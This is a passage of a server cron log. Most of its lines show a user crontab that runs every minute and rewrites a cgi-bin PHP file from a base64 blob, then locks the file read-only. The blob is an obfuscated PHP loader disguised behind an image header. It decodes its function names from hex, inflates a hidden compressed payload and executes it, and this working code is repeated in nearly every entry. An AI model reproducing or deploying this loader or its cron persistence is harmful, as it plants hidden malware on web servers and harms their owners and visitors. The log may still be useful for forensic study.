"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:53:01 server CROND[19579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:54:01 server CROND[19652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:55:01 server CROND[19714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 21:55:01 server CROND[19715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:55:01 server CROND[19716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 21:56:01 server CROND[19824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:57:01 server CROND[19979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:57:01 server CROND[19980]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 21:58:01 server CROND[20040]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 21:59:01 server CROND[20140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:00:01 server CROND[20206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:00:01 server CROND[20205]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:00:01 server CROND[20204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:00:01 server CROND[20207]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 22:00:01 server CROND[20218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:01:01 server CROND[20340]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 22:01:01 server CROND[20341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:01:01 server run-parts(/etc/cron.hourly)[20340]: starting 0anacron
Apr 12 22:01:01 server run-parts(/etc/cron.hourly)[20354]: finished 0anacron
Apr 12 22:02:01 server CROND[20435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:03:01 server CROND[20602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:04:01 server CROND[20665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:05:01 server CROND[20726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQt